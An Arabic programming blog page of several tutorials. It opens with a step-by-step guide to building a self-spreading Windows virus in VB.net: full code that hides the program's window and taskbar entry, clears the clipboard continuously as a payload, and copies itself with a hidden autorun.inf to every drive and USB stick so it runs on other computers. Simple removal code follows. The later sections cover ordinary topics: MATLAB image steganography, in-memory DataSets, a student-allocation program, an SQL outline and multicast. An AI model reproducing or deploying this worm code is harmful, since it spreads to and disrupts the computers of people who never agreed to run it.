صناعة الفايروسات (بناء الفايروسات بلغة VB.net )

لصناعة أي فايروس يتطلب الأتي :

1.     كل فايروس لابد من  وسيلة  لتشغيله اما مع بدء تشغيل الحاسوب او عبر ملف اوتوران لكي  يبدء بعمله
2.     كيف نجعل هذا الفايروس يتكاثر من خلال استنساخ نفسه الى اقراص مرنة او صلبة
3.     يجب ان لا يظهر اسم الفايروس بشريط المهام حتى لا يحس المستهدف بالفايروس بانه مصاب به  (من خلال جعل خاصية=False  show in taskbar الخاصة بالنافذة ويجب اخفائه من Task Manager
4.    يجب ان نجعل الفايروس لا تظهر نافذته من خلال اخفائه (Formborderstyle=none)
وكتابه الكود التالي بحدث تحميل النافذة هذا الكود يحول لون Form الى ابيض وبعدها يقوم باخفاء أي لون ابيض في النافذة فتختفي Form كليا  . او جعل خاصية عدم شفافية تساوي صفر(Me.Opacity = 0  ) أي نجعل النافذة شفافة جدا لدرجة لا تشاهد

Me.BackColor = Color.White

 Me.TransparencyKey = Color.White 'or Me.Opacity = 0 

5.     الفكرة الاهم هي ماذا نريد من فايروسنا ان يعمل من خلاله نحدد هدف الفايروس بالاصابة.مثلا نريد فايروس يمنع عملية الاستنساخ داخل الحاسبة لابد ان نضيف Timer ونضع فيه كود افراغ  Clipboard باستمرار حتى كلما نقوم بعملية استنساخ سوف يخزن البيانات داخل Clipboard وبواسطة برنامجنا نقوم بافراغها باستمرار

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

        My.Computer.Clipboard.Clear()

    End Sub

 كيف نجعل  الفايروس Virus  ينتشر
نحن نعلم عند تشغيل اقراص CD لمجموعة برامج داخل الحاسوب سوف نلاحظ ان القرص يعمل تلقائيا وتظهر فورم مثلا مصممة من قبل شركة الاقراص تظهر فيها البرامج .
السؤال هنا كيف عمل برنامج تلقائيا من داخل القرص بمجرد ادخاله بالسواقة
ج/هو السبب وجود ملف  اوتوران autorun.inf ذو امتداد .inf  موجود في داخله كود لتشغيل البرنامج فبمجرد ادخال القرص داخل السواقة سوف يقوم  نظام التشغيل OS  بتشغيل كل ملف اوتوران داخل القرص وملف اوتوران بدوره يشغل البرنامج     وكذالك ملفات اوتوران في فلاشات USB تعمل تلقائيا بمجرد ادخال فلاش.
اي ان ملف اوتوران اذا كان موجود في فلاش او قرص من اقراص الحاسبة HD سوف يعمل بمجرد فتح فلاش او قرص HD من اقراص الحاسبة اذا كان موجود بها
 لذالك سنجعل فايروس ينتشر عن طريقة وضع نسخ منه على كل قرص مرن وصلب بالحاسبة وبجوار الفايروس ملف اوتوران أي عند فتح كل قرص مرن او صلب من اقراص الحاسبة  سوف يعمل ملف اوتوران  ويشغل البرنامج (Virus)    والبرنامج(Virus)     بدوره يستنسخ نفسه في كل قرص صلب وفلاش متصل بالحاسبة ويصنع ملف اوتوران بجوار كل ملف حتى يشغل (Virus)    عند تصفح أي قرص حتى لا يكون الفايروس خامل
فعندما ينتقل الفايروس الى الفلاش فعند ربطه بحاسبة ثانية في اول لحظة سيعمل ملف اوتوران ويشغل بدوره الفايروس الذي يستنسخ نفسه الى جميع اقراص الحاسبة الجديدة
 

الكود الموجود في داخل هذا الملف هو تشغيل برنامج اسمه test موجود بجوار ملف.؟

 في برامج فايروس  عندما نصنع فايروس يجب ان نفكر بسرعة انتشاره بواسطة ملف اوتوران
من خلال تحديد هدفه مثلا لو صنعنا فايروس يغلق الحاسوب باستمرار وجعلنا ينتشر بملف اوتوران نلاحظ بطئ انتشاره لان أي حاسبة تصاب لا ينتقل منها الى حاسبة اخرى لانها لا تعمل مجدد الا بعد اعادة تنصيبها من جديد ومسح فايروس  في هذه الحالة الفايروس ينتشر فقط من فلاش مصاب به الى الحاسبة التي سنربطها به
اما في حالة صنع فايروس منع عملية نسخ ينتشر بملف اوتوران نلاحظ سرعة انتشاره لان الحاسبة التي تصاب لا تتوقف عن العمل من الممكن ان نربط بها فلاش وينتقل الفايروس به الى حاسبة اخرى

خطوات جعل فايروس ينتشر

1.    نجلب جميع الأقراص الصلبة والمرنة الموجودة داخل الحاسبة ونحدد ايهم متوفر حتى نستطيع ان ننسخ الفايروس على كل قرص وبما اننا نتعامل مع الملفات ندرج مكتبة Imports System.IO

VB.net Code
Imports System.IO

On Error Resume Next
'جلب جميع السواقات في الجهاز
Dim drive() As DriveInfo = DriveInfo.GetDrives
'نشر الفايروس في الجهاز سواقة سواقة
For i = 0 To drive.Length - 1
'فحص هل الجهاز جاهز لعملية النسخ
If drive(i).IsReady Then


هنا ننفذ الكود الذي نريده


End If
Next

2.    اذا كان هناك ملف اوتوران يستخدمه فايروس اخر او نفس هذا الفايروس نحذفه لكننا لانستطيع حذفة مباشرة لانه قد يكون محمي من الحذف نلغي الحماية عنه باعادة SetAttributes  الى FileAttributes.Normal   ثم نقوم بحذف الفايروس هو والملف المشغل له

VB.net Code
'اذا    الفايروس     موجود نمسحه حتى نكون جديد
If File.Exists(drive(i).Name & "autorun.inf") = True Then
File.SetAttributes(drive(i).Name & "autorun.inf", FileAttributes.Normal)
File.Delete(drive(i).Name & "autorun.inf")

File.SetAttributes(drive(i).Name & "test.exe", FileAttributes.Normal)
File.Delete(drive(i).Name & "test.exe")
End If

3.    نكون ملف اوتوران الخاص بالفايروس في كل قرص ونكتب به كود تشغيل الفايروس الذي سميناه test نلاحظ اننا عندما انشئنا ملف اوتوران جعلنا امتداده .inf  

VB.net Code
Dim objWriter As New StreamWriter(drive(i).Name & "autorun.inf")
objWriter.WriteLine("[autorun]")
objWriter.WriteLine("Shellexecute = test.exe")
objWriter.Close()

4.    ننسخ الفايروس الى  القرص ونجعل الفايروس وملف اوتوران مخفيات وغير قابلات للحذف

VB.net Code
'ننسخ الفايروس مع الاوتوران
File.Copy(Application.StartupPath & "\WindowsApplication19.exe", drive(i).Name & "test.exe")
'جعل الفايروس والملف المشغل له مخفي وللقرائة فقط
File.SetAttributes(drive(i).Name & "test.exe", FileAttributes.Hidden + FileAttributes.ReadOnly)
File.SetAttributes(drive(i).Name & "autorun.inf", FileAttributes.Hidden + FileAttributes.ReadOnly)

برنامج  انتشار  الفايروس كامل

VB.net Code
Imports System.IO
Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
On Error Resume Next
'جلب جميع السواقات في الجهاز
Dim drive() As DriveInfo = DriveInfo.GetDrives
'نشر الفايروس في الجهاز سواقة سواقة
For i = 0 To drive.Length - 1
'فحص هل الجهاز جاهز لعملية النسخ
If drive(i).IsReady Then
'اذا    الفايروس     موجود نمسحه حتى نكون جديد
If File.Exists(drive(i).Name & "autorun.inf") = True Then
File.Delete(drive(i).Name & "autorun.inf")
File.Delete(drive(i).Name & "test.exe")
End If
' File.CreateText(drive(i).Name & "test.exe")
'نكون ملف اوتو ران مرفق للفايروس
Dim objWriter As New StreamWriter(drive(i).Name & "autorun.inf")
objWriter.WriteLine("[autorun]")
objWriter.WriteLine("Shellexecute = test.exe")
objWriter.Close()
'ننسخ الفايروس مع الاوتوران
File.Copy(Application.StartupPath & "\WindowsApplication19.exe", drive(i).Name & "test.exe")
'جعل الفايروس والملف المشغل له مخفي وللقرائة فقط
File.SetAttributes(drive(i).Name & "test.exe", FileAttributes.Hidden + FileAttributes.ReadOnly)
File.SetAttributes(drive(i).Name & "autorun.inf", FileAttributes.Hidden + FileAttributes.ReadOnly)
End If

Next

End Sub

End Class

بقي فقط نضيف للكود هدف هذا الفايروس او العملية التي نريده ان ينفذها ونربط فلاش بالحاسوب ونشغله سينتقل تلقائيا الى الفلاش ومنه الى بقية الحواسيب وعند كل عملية تشغيل لفلاش مصاب او فتح Drive قرص HD في حاسبة مصابة سينفذ عمله وينتشر

القضاء على الفايروس بنفس طريقة بنائه فقط نحذفه من كل مكان قمنا باضافته به ونستطيع ان نحذف فقط ملف الاوتوران فيصبح الفايروس مشلول لا يعمل ابد  او نحذف فايروس ونبقى الاوتوران مشلول

VB.net Code
Imports System.IO
Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
On Error Resume Next
'جلب جميع السواقات في الجهاز
Dim drive() As DriveInfo = DriveInfo.GetDrives
'نشر الفايروس في الجهاز سواقة سواقة
For i = 0 To drive.Length - 1
'فحص هل الجهاز جاهز لعملية النسخ
If drive(i).IsReady Then
'اذا    الفايروس     موجود نمسحه حتى نكون جديد
If File.Exists(drive(i).Name & "autorun.inf") = True Then
‘نرفع خاصية الاخفاء والحماية من الفايروس حتى نستطيع حذفه
File.SetAttributes(drive(i).Name & "autorun.inf", FileAttributes.Normal)
File.Delete(drive(i).Name & "autorun.inf")

File.SetAttributes(drive(i).Name & "test.exe", FileAttributes.Normal)
File.Delete(drive(i).Name & "test.exe")
End If
End If
Next
End Sub
End Class

معلومة: لحذف كل فايروس اوتوران في الحاسبة نقرء محتوى ملفات الاتوران الموجودة في واجهة الاقراص الصلبة والمرنة و عندما نصل الى سطر shellexecute ناخذ اسم البرنامج بعد علامة (=) ونحذف البرنامج المسمى بهذا الاسم ؟لكن هذه الطريقة ستحذف حتى ملفات تشغيل لبعض البرامج الخاص كمشغلات لبعض البرامج المهمة
القضاء على فايروس الاوتوران عن  طريق قرائة كل ملف اوتوران في مناطق التشغيل التلقائي

  من اقراص صلبة وفلاشات ومسح الفايروس الذي يشغله هذا الملف (وهذا الطريقة ذات مساوئ ابحث عن السبب) وهذه طريقة تبين لك كيف يعمل انتي فايروس

VB.net Code
Imports System.IO
Public Class Form1

Dim lineread As String

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
On Error Resume Next
'جلب جميع السواقات في الجهاز
Dim drive() As DriveInfo = DriveInfo.GetDrives
'نشر الفايروس في الجهاز سواقة سواقة
For i = 0 To drive.Length - 1
'فحص هل الجهاز جاهز لعملية النسخ
If drive(i).IsReady Then
'اذا    الفايروس     موجود نمسحه حتى نكون جديد
If File.Exists(drive(i).Name & "autorun.inf") = True Then
Dim objWriter As New StreamReader(drive(i).Name & "autorun.inf")
While objWriter.EndOfStream = False
lineread = objWriter.ReadLine()
If String.Equals(Mid(lineread, 1, 12), "Shellexecute") Then
Dim virusname() As String = Split(lineread, "=")
MsgBox("virusname=" & virusname(1))
If File.Exists(drive(i).Name & Trim(virusname(1))) = True Then
'نرفع خاصية الاخفاء والحماية من الفايروس حتى نستطيع حذفه
File.SetAttributes(drive(i).Name & Trim(virusname(1)), FileAttributes.Normal)
File.Delete(drive(i).Name & Trim(virusname(1)))
End If
End If
End While
objWriter.Close()
End If
End If
Next
End Sub
End Class

تحميل المقالة كاملة وباقي الشرح من هنا  او حمل من هنا

إخفاء نص داخل صورة (Hide Text in Image By Matlab)

بكل طرق التشفير يبقى هناك نص للبيانات عندما تعترض من قبل العدو يشكك في كونها رسالة مشفرة ويحاول ان يفكها بكل طرق التشفير فمثلا طرق تشفير التي نعرفها مشهورة حاليا يعرفها الجميع ومثلما نستطيع ان نشفر نص بها  يستطيع العدو ان يحاول فك النص بها .حتى طرق تشفير جديدة التي نحن نبنيها لا يعرفها غيرنا يبقى العدو يحاول فكها. الذي نريده نحن ان معترض الرسالة (العدو) لا يشك اصلا بوجود رسالة مشفرة لأننا سنخفيها داخل صورة فلا يفكر اصلا بوجود نص مشفر او نخفيها بصورة بين 100 صورة مرسلة فيصعب على المعترض إيجادها ومن ثم فكها.
هناك طرق عديدة لإخفاء نص داخل صورة معينة وأفضلها وضع النص في LSB لكل Gray Scale حيث يمثل هذا البت رقم واحد فقط مثلا اذا كان في Gray Scale معين رقم زوجي يكون LSB صفر واذا فردي يكون واحد أي إننا اذا غيرنا هذا البت بواسطة اخفاء بيانات في داخله  أي تغير في قيمته لا يؤثر على الصورة كثيرا فهو يغير الأضائه بمقدار واحد فقط من اصل 255 أي لا يسبب بأثر واضح يجعل الشخص يشك بوجود نص مشفر داخل الصورة أي مثلا لو كان Gray Scale لموقع معين (161) لو خزنا  في LSB له قيمة (0 ) يصبح  Gray Scaleلهذا الموقع يساوي 160 ولو خزنا فيه (1) يبقى (161 )

خطوات الإخفاء على صورة عادية gray

1.    نقرئ الصورة  الملونة وثم نحولها الى عادية وبعدها نجد ابعاد المصفوفة وتساعدنا ابعاد المصفوفة على اعادة الصورة الى شكلها الاصلي بعد خزن النص في داخلها

Matlab Code 2d gray image
x=imread('C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg');
imageDCE=rgb2gray(x);
 [r c]=size( imageDCE);

2.    نحول الصورة الى النظام الثنائي(Binary)  حتى نستطيع ان نغير البت الثامن الايمن LSB

Matlab Code 2d gray image
imageBIN=dec2bin( imageDCE);

3.    ندخل النص المرد إخفائه ونحوله الى AScii Code ومنه الى النظام الثنائي ونجد عدد الصفوف وعدد الأعمدة له حتى نستطيع ان ننقل بايتات كل حرف الى داخل البتLSB في الصورة حيث كل بايت من بايتات الحرف سيخزن في البنت الثامن الأيسر لموقع معين في الصورة

Matlab Code 2d gray image
text='hi';
ascm=double(text);
binasc=dec2bin(ascm);
[rt, ct]=size(binasc);
 

4.    ألان نخزن كل بت من البتات السبعة من  كل حرف داخل صف من صفوف الصورة في العمود الثامن الذي يمثل LSB ثم ننتقل للبت المقابل في الكلمة الثانية ونستمر حتى اخر حرف ثم نرجع لثاني بت بأول كلمة ثم ثاني بت بثاني كلمة ونستمر. أي كلما ازداد حجم النص ازدادت صعوبة فك شفرة شاهد الصورة  لا يعرف المعترض ماهي بنات الصورة وما هي بتات النص

Matlab Code 2d gray image
for i=1:1:rt*ct
 imageBIN(i,8) =binasc(i);  
 end

بواسطة i نحدد من أي موقع داخل الصورة نبدأ بعملية الإخفاء

5.    ألان أخفينا النص داخل الصورة ألان نحول الصورة من النظام الثنائي الى النظام العشري ونعيد ابعاد المصفوفة الى أبعادها الاولية باستخدام داخلة reshape  ونشاهد ان الصورة تحولت بصيغية رقم واحد نستخدم دالة   uint8 لنعيدها الى صيغة رقم عشري بثمانية بت

Matlab Code 2d gray image
ENCimageDCE=uint8(reshape(bin2dec(imageBIN),r,c ));

6.    نقوم برسم الصورة قبل وبعد خزن النص في داخلها

Matlab Code 2d gray image
subplot(1,2,1)
 imshow(imageDCE)
 subplot(1,2,2)
 imshow(ENCimageDCE)



 

اعادة النص المشفر من الصورة

1.    نحول الصورة التي اخفينا النص في داخله  الى صيغة النظام الثنائي

Matlab Code 2d gray image
  decriptext=dec2bin(ENCimageDCE);

2.    ناخذ البت الثامن من كل صف ونخزنه في مصفوفة جديدة ونلاحظ انه يجب ان يرسل لنا صاحب الرسالة المشفرة عدد صفوف وعدد اعمدة النص المشفر ومن اين يبدأ التشفير داخل الصورة حتى نستطيع أخراجه .   في هذه الحالة يجب ان نقول للمستلم الصورة توضيح عن النص المرسل وهو نقول له عدد الاحرف rt وعدد Bit لكل حرف  ct   حتى نستطيع ارجاع النص من داخل الصورة (مثلا النص الخزن داخل الصورة هوا 17 حرف كل   حرف من 8 بت اي rt=17,ct=8 )  

Matlab Code 2d gray image

 textbin=decriptext(1:rt*ct,8);

3.    نعيد تحجيم المصفوفة النص الى شكلها الأولي بصيغة النظام الثنائي ونحولها من النظام الثنائي الى النظام العشري .

Matlab Code 2d gray image
ascimessage=bin2dec(reshape(textbin ,rt,ct ) );

4.    نحول البيانات من العشري الى الحروف ونضع علامة (‘) لكي تعرض بشكل صفوف

Matlab Code 2d gray image
 messageDEc= char(ascimessage)' 

 

كود برنامج الإخفاء وإعادة النصوص كامل لصورة عادية

Matlab Code 2d gray image
clc
 clear
x=imread('C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg');
text='bad friend maked you bad';
ascm=double(text);
binasc=dec2bin(ascm);
[rt, ct]=size(binasc);
%we use 2D image tospeed op.
 imageDCE=rgb2gray(x);
 %we use one line to relase line of code
 %imageDCE=imageDCE(1:4,1:4);
 %saved old shap it convert to one line
 [r c]=size( imageDCE);
 % convert image to binary
imageBIN=dec2bin( imageDCE); % cover it to one col 8bit and  row=r*c

% imageBIN(:,8)=0; % put zero in all LSB in image
 for i=1:1:rt*ct
 imageBIN(i,8) =binasc(i);  
 end
 %imageBIN(:,8)=binasc(1:end)
 % UINT8 Convert to unsigned 8-bit integer. becuse it convert to one bit
 ENCimageDCE=uint8(reshape(bin2dec(imageBIN),r,c ));
% ENCimageDCE(1:rt*ct)=0; to show area of hide
 subplot(1,2,1)
 imshow(imageDCE)
 subplot(1,2,2)
 imshow(ENCimageDCE)
% figure
 %imageBIN(1:rt*ct,:)=0;
 % ENCimageDCE=uint8(reshape(bin2dec(imageBIN),r,c ));
 %imshow(ENCimageDCE)
 % to sure of encrption binasc(1:8),imageBIN(1:8,8) show that who image is
 % encripted
 decriptext=dec2bin(ENCimageDCE);
 textbin=decriptext(1:rt*ct,8);
 ascimessage=bin2dec(reshape(textbin ,rt,ct ) );
 messageDEc= char(ascimessage)'

كود برنامج الإخفاء وإعادة النصوص كامل لصورة  ملونة

Matlab Code 3d rgb
clc
 clear
x=imread('C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg');
text='hi';
ascm=double(text);
binasc=dec2bin(ascm);
[rt, ct]=size(binasc);
%we use 2D image tospeed op.
 %imageDCE=rgb2gray(x);

 %we use one line to relase line of code// show who image effect by text
% imageDCE=imageDCE(1:4,1:4);
 %saved old shap it convert to one line
 %[r c]=size( imageDCE);
  %if we use 3D image--------------
   [r c f]=size( x);
   imageBIN=dec2bin( x);
   %------------------------
 % convert image to binary
%imageBIN=dec2bin( imageDCE); % cover it to one col 8bit and  row=r*c

% imageBIN(:,8)=0; % put zero in all LSB in image
 for i=1:1:rt*ct
 imageBIN(i,8) =binasc(i);  
 end
 %imageBIN(:,8)=binasc(1:end)
 % UINT8 Convert to unsigned 8-bit integer. becuse it convert to one bit
 ENCimageDCE=uint8(reshape(bin2dec(imageBIN),r,c,f ));
 subplot(1,2,1)
 imshow(x)
 subplot(1,2,2)
 imshow(ENCimageDCE)
% figure
 %imageBIN(1:rt*ct,:)=0;
 % ENCimageDCE=uint8(reshape(bin2dec(imageBIN),r,c ));
 %imshow(ENCimageDCE)
 % to sure of encrption binasc(1:8),imageBIN(1:8,8) show that who image is
 % encripted
 decriptext=dec2bin(ENCimageDCE);
 textbin=decriptext(1:rt*ct,8);
 ascimessage=bin2dec(reshape(textbin ,rt,ct ) );
 messageDEc= char(ascimessage)'

تحميل المقالة من هنا او حمل من هنا


 

الفصل الأول :بناء قواعد بيانات منفصلة

مقدمة الى قواعد البيانات المؤقتة

قواعد بيانات المؤقتة (المنفصلة) معناه نكون جدول أو مجموعة جداول كقواعد بيانات مؤقتة او جلب البيانات من قاعدة البيانات وخزنها بشكل مؤقت داخل الذاكرة (RAM) وأي تغير بهذه البيانات لا يؤثر على قاعدة البيانات الأساسية الخاصة بالبرنامج لأننا هنا نتعامل مع بيانات مخزنة بالذاكرة وليس بقاعدة البيانات النسخة الأصلية وهذه من أجمل ما قدمته Visual Studio.NETحيث مكنتنا من التلاعب ببيانات قواعد البيانات بعد تحميلها إلى الذاكرة دون أي تأثير على قاعدة البيانات الأساسية أي أن هذا الفصل سوف يعلمنا كيفية التعامل مع البيانات الخاصة بقواعد البيانات بعد خزنها بجداول داخل الذاكرة

الفصل الأول

بناء قواعد بيانات منفصلة

المحتويات

مقدمة الى قواعد البيانات المؤقتة

1.1-بناء جدول من البيانات

إنشاء جدول جديد- 1.2

ADD إضافة أعمدة للجدول -1.2.1

وضع مفاتيح على الجدول - 1.2.2

ADD إضافة البيانات إلى الجداول - 1. 3.1

-1.3.2اضافة البيانات الى الجداول بدالة insertAt

حذف البيانات من الجدول - 1.4

- 1.5قبول ورفض التغيرات على الجداول

- 1.6الوصول الى محتويات الجدول

- 1.7.1البحث في الجدول بالمفتاح الرئيسي

- 1.7.2 البحث في الجدول filterCriteria

- 1.7.3ترتيب البحث في الجدول filterCriteria

Expression Columns - 1.8

- 1.9مجموعة جداول داخل DataSet

DataSet الوصول الى جدول معين داخل - 1.9.1

DataSet حفظ وقراءة بيانات -1.9.2

- 1.10 ارسال DataSet عبر الشبكة

Data Grid View - 1.11

- 1.11.1 إجراء DataGridViewCheckBoxColumn

- 1.11.2إجراءDataGridViewComboBoxColumn

تحميل الفصل

درس تعليمي للمبتدئين عن تسلسل تنفيذ البرنامج بلغة سي بلس

حمل الدرس من هنا

برنامج مقسم طلاب الجامعات على الاقسام وطلاب المدارس

صممت هذا البرنامج لتستطيع من خلاله تقسيم طلاب الكلية الجدد على اقسامها حسب معدلاتهم او طلاب المدارس او المعاهد

اي ان هذا البرنامج ندخل له

 اسماء الاقسام  في الكلية وعدد الطلاب المطلوب في كل قسم

وندخل الطلاب ومعدلاتهم ورغباتهم

ويقوم بتقسيمهم على اساس المعدل ورغبات

خطوات  العمل مع البرنامج

* خطوة رقم 1 نشغل البرنامج ونفتح تبويب (ضبط) وندخل اسم القسم وعدد الطلاب المطلوب في كل قسم ونستمر بادخال جميع اقسام الكلية وعدد طلاب مطلوب في كل قسم . شاهد شكل رقم(1)

* وخطوة رقم 2  نضغط زر (تحديث القائمة تسجيل رغبات الطلاب الجدد) لكي يحدث القوائم في البرنامج على الاقسام الجديدة . شاهد شكل رقم(1)



 شكل رقم 1

* خطوة رقم 3 نقتح تبويب (صفحة اضافة جديدة) ونضيف اسم الطالب ومعدله ورغباته(حسب الاقسام التي ادخلت في خطوة رقم1) ونضغط زر (حفظ اضافة جديدة) ونستمر بادخال اسماء كل الطلاب ودرجاتهم حتى ندخل جميع طلاب الجدد في قاعدة البيانات.شاهد شكل رقم (2)

* خطوة رقم (4) في تبويب (ضبظ) نضغط زر (بدء تقسيم الطلاب) لكي يقوم البرنامج بتقسيم الطلاب على اساس معدلاتهم ورغباتهم على اقسام الكلية . شاهد شكل رقم(1)

 شكل رقم 2

* خطوة رقم 5 نفتح تبويب طباعة ونستطيع طبع طلاب  المقبولين في كل قسم او طلاب جميع الاقسام او الطلاب ومعدلاتهم حسب رغبتنا نختار اسم الطالب بوضع شارة امام اسمه ونختار الاعمدة التي نود طباعتها (مثلا اسم ومعدل ورغبات) وبعدها نضغط زر طباعة .شاهد شكل رقم (3)

شكل رقم 3

حمل البرنامج التنصيبي من هنا

تحميل المشروع ( Download source code) 

الفصل الثاني:تعلم التعامل مع لغة SQL داخل فيجوال ستوديو

 تستخدم هذه اللغة في برمجة قواعد البيانات المختلفة وفي التعامل مع قواعد  بيانات ببيئة الدوت نت
وهذه شرح في فصل لأ كثر المواضيع تداولا

مقدمة الى (SQL)
Data Retrieval- قسم استرجاع البيانات من قاعدة البيانات  2.1
2.1.1- عبارة  Select  البسيطة لأسترجاع البيانات
2.1.2- العمليات الرياضية على البيانات المسترجعة من قاعدة البيانات
2.1.3- عبارة  Where لأسترجع البيانات من قاعدة البيانات بشكل شرطي
2.1.4- دوال تستخدم مع   where  وعبارة Select
2.1.5- عبارة  Order By ترتيب بيانات المسترجعة من قاعدة البيانات
2.1.6- الربط بين الجداول
2.1.7-  الاستعلامات الفرعية

  (DML)  2.2- قسم التلاعب وتحديث  البيانات

- 2.2.1 إضافة البيانات إلى قاعدة البيانات
2.2.2- حذف البيانات من قاعدة البيانات
2.2.3- لتعديل على البيانات في المخزنة في قاعدة البيانات
2.3- قسم تكوين وتحديث الجداول(DDL)
2.3.1-  إنشاء جدول جديد
- التعديل على الجداول2.3.2
2.3.3- حذف الجداول
- إعادة تسمية الجدول 2.3.4
- 2.4   إنشاء قاعدة بيانات جديدة
2.5-  حذف قاعدة بيانات




       حمل من هنا (جديد )ا  او  من هنا او حمل من هنا


 

ماهو MULTICAST وما فوائده ومضاره

 المواضيع

Multicast

أين يستخدم Multicast فوائده

الى قسمين Multicast تقسيم عناوين

الانضمام والخروج من المجموعة  في بيئة الدوت نت

JoinMulticastGroup()    دالة

DropMulticastGroup()  دالة

SetSocketOption  الدالة

تطبيق: برنامج عرض شاشة الكومبيوتر الى مجموعة

تطبيق: برنامج بناء غرف محادثة

تطبيق: برنامج بناء غرف محادثة للأجهزة المحمولة

 



المقالة عن الموضوع  في المرفقات

تحميل  او حمل من هنا